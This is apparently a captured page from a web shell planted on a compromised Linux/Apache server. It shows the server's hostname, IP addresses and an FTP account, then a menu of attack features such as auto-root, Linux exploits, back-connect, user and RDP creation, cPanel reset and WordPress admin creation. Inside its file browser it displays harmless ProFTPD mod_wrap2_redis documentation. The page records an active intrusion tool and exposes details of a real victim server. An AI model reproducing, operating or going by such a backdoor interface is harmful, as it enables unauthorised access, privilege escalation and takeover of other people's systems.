Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
proftpd /
contrib /
[ HOME SHELL ]
Name
Size
Permission
Action
ftpasswd.html
14.61
KB
-rw-r--r--
ftpmail.html
8
KB
-rw-r--r--
ftpquota.html
10.9
KB
-rw-r--r--
index.html
9.04
KB
-rw-r--r--
mod_auth_otp.html
16.5
KB
-rw-r--r--
mod_ban.html
22.53
KB
-rw-r--r--
mod_copy.html
4.85
KB
-rw-r--r--
mod_ctrls_admin.html
15.05
KB
-rw-r--r--
mod_deflate.html
6.89
KB
-rw-r--r--
mod_digest.html
12.92
KB
-rw-r--r--
mod_dnsbl.html
6.1
KB
-rw-r--r--
mod_dynmasq.html
3.26
KB
-rw-r--r--
mod_exec.html
23.89
KB
-rw-r--r--
mod_geoip.html
17.06
KB
-rw-r--r--
mod_ifsession.html
11.02
KB
-rw-r--r--
mod_ifversion.html
4.96
KB
-rw-r--r--
mod_ldap.html
32.32
KB
-rw-r--r--
mod_load.html
2.97
KB
-rw-r--r--
mod_log_forensic.html
9.78
KB
-rw-r--r--
mod_qos.html
2.62
KB
-rw-r--r--
mod_quotatab.html
25.02
KB
-rw-r--r--
mod_quotatab_file.html
2.23
KB
-rw-r--r--
mod_quotatab_ldap.html
2.63
KB
-rw-r--r--
mod_quotatab_radius.html
2.08
KB
-rw-r--r--
mod_quotatab_sql.html
10.93
KB
-rw-r--r--
mod_radius.html
22.11
KB
-rw-r--r--
mod_ratio.html
6.99
KB
-rw-r--r--
mod_readme.html
2.69
KB
-rw-r--r--
mod_rewrite.html
30.06
KB
-rw-r--r--
mod_sftp.html
93.71
KB
-rw-r--r--
mod_sftp_pam.html
5.47
KB
-rw-r--r--
mod_sftp_sql.html
5.63
KB
-rw-r--r--
mod_shaper.html
23.28
KB
-rw-r--r--
mod_site_misc.html
5.81
KB
-rw-r--r--
mod_snmp.html
42.38
KB
-rw-r--r--
mod_sql.html
62.81
KB
-rw-r--r--
mod_sql_odbc.html
10.2
KB
-rw-r--r--
mod_sql_passwd.html
24.44
KB
-rw-r--r--
mod_sql_sqlite.html
2.95
KB
-rw-r--r--
mod_statcache.html
8.29
KB
-rw-r--r--
mod_tls.html
85.34
KB
-rw-r--r--
mod_tls_fscache.html
2.73
KB
-rw-r--r--
mod_tls_memcache.html
3.91
KB
-rw-r--r--
mod_tls_redis.html
3.6
KB
-rw-r--r--
mod_tls_shmcache.html
6.78
KB
-rw-r--r--
mod_unique_id.html
3.54
KB
-rw-r--r--
mod_wrap.html
12.38
KB
-rw-r--r--
mod_wrap2.html
24.83
KB
-rw-r--r--
mod_wrap2_file.html
4.69
KB
-rw-r--r--
mod_wrap2_redis.html
5.33
KB
-rw-r--r--
mod_wrap2_sql.html
8.33
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mod_wrap2_redis.html
<!DOCTYPE html> <html> <head> <title>ProFTPD module mod_wrap2_redis</title> </head> <body bgcolor=white> <hr> <center> <h2><b>ProFTPD module <code>mod_wrap2_redis</code></b></h2> </center> <hr> <p> This submodule provides the Redis server "driver" for storing IP/DNS-based access control information in Redis lists/sets. <p> This <code>mod_wrap2</code> submodule is contained in the <code>mod_wrap2_redis.c</code> file, and is not compiled by default. See the <code>mod_wrap2</code> <a href="mod_wrap2.html#Installation">installation</a> instructions. <h2>Author</h2> <p> Please contact TJ Saunders <tj <i>at</i> castaglia.org> with any questions, concerns, or suggestions regarding this module. <p> <hr><h2><a name="RedisListsSets">Redis Access Lists/Sets</a></h2> The <code>mod_wrap2_redis</code> module supports the "redis" string for the <em>source-type</em> parameter of the <a href="mod_wrap2.html#WrapUserTables"><code>WrapUserTables</code></a>, <a href="mod_wrap2.html#WrapGroupTables"><code>WrapGroupTables</code></a>, and <a href="mod_wrap2.html#WrapTables"><code>WrapTables</code></a>, configuration directives. If the "redis" <em>source-type</em> is used, then the <em>source-info</em> parameter must be as described below. Note that support for Redis-based lists/sets <b>requires</b> the use of <code>mod_redis</code> (<i>e.g.</i> via the <code>--enable-redis</code> configure option). <p> <code>mod_wrap2_redis</code> requires only that the <a href="../modules/mod_redis.html"><code>mod_redis</code></a> module be enabled and configured to access a Redis server. <p> One Redis list (or set) is needed to retrieving access information from the <em>allow</em> "table", and another list/set for access information from the <em>deny</em> "table". These lists/sets should contain a list of words, where each word is a host name, host address, pattern, or wildcard (see <a href="mod_wrap2.html#AccessRules">here</a> for how these things are defined). <p> Optionally, other Redis lists/sets can be defined to look up access <a href="mod_wrap2.html#AccessOptions">options</a> from the <em>allow</em> and <em>deny</em> tables. <p> For Redis lists, the format for the <code>WrapUserTables</code>, <code>WrapGroupTables</code>, and <code>WrapTables</code> directives is: <pre> WrapTables redis:/<i><b>list:</b><code>allow-list-key</code></i>[/<i><b>list:</b><code>allow-list-options-key</code></i>] \ redis:<i><b>list:</b><code>deny-list-key</code></i>[/<i><b>list:</b><code>deny-list-options-key</code></i>] </pre> where the <i>allow-list-options-key</i> and <i>deny-list-options-key</i> portions of the string are optional. <p> For Redis <em>sets</em>, the format is similar to the above, only you specify a key prefix of "set:" rather than "list", <i>e.g.</i>: <pre> WrapTables redis:/<i><b>set:</b><code>allow-set-key</code></i>[/<i><b>set:</b><code>allow-set-options-key</code></i>] \ redis:<i><b>set:</b><code>deny-set-key</code></i>[/<i><b>set:</b><code>deny-set-options-key</code></i>] </pre> <p> <b>Redis Access Lists/Sets Example</b><br> Here are example directives to help demonstrate how the <code>mod_redis</code> hooks are used by <code>mod_wrap2_redis</code>. These example directives assume the existence of two lists: a <code>wrapallow</code> list that defines allowed clients, and a <code>wrapdeny</code> list that defines the denied clients. <p> <pre> # Using Redis lists WrapTables redis:/list:wrapallow redis:/list:wrapdeny # Using Redis sets WrapTables redis:/set:wrapallow redis:/set:wrapdeny </pre> <p> For per-user/per-group lists/sets, the key name can use the <code>%{name}</code> variable, like so: <pre> WrapUserTables * redis:/list:wrapallow.%{name} redis:/list:wrapdeny.%{name} WrapGroupTables * redis:/list:wrapallow.%{name} redis:/list:wrapdeny.%{name} </pre> In the case of <code>WrapUserTables</code>, the <code>%{name}</code> variable will be resolved to the user name (from the <code>USER</code> command) of the logging-in user; for <code>WrapGroupTables</code>, <code>%{name}</code> will be resolved to the name of the user's primary group. <p> If the administrator wants to make use of access options, then URIs for those options would need to be similarly defined: <pre> # Access tables for users (with options) WrapUserTables user1,user2 \ redis:/list:allowed.%{name}/list:allowed-options.%{name} \ redis:/list:denied.%{name}/list:denied-options.%{name} # Access tables for groups (with options) WrapGroupTables group1,group2 \ redis:/list:allowed.%{name}/list:allowed-options.%{name} \ redis:/list:denied.%{name}/list:denied-options.%{name} # Access tables for everyone else (without options) WrapTables redis:/list:allowed redis:/list:denied </pre> <p> When constructing the client and options lists to return to <code>mod_wrap2</code>'s access control engine, <code>mod_wrap2_redis</code> will parse each returned item separately, handling both comma- and space-limited names in an item, into client list items. This means that the administrator can store multiple client and option tokens in multiple items, as in the above schema, or the administrator can choose to store all of the clients and/or options in a single item, in an appropriately formatted string. <p> <hr> <font size=2><b><i> © Copyright 2017 TJ Saunders<br> All Rights Reserved<br> </i></b></font> <hr> </body> </html>
Close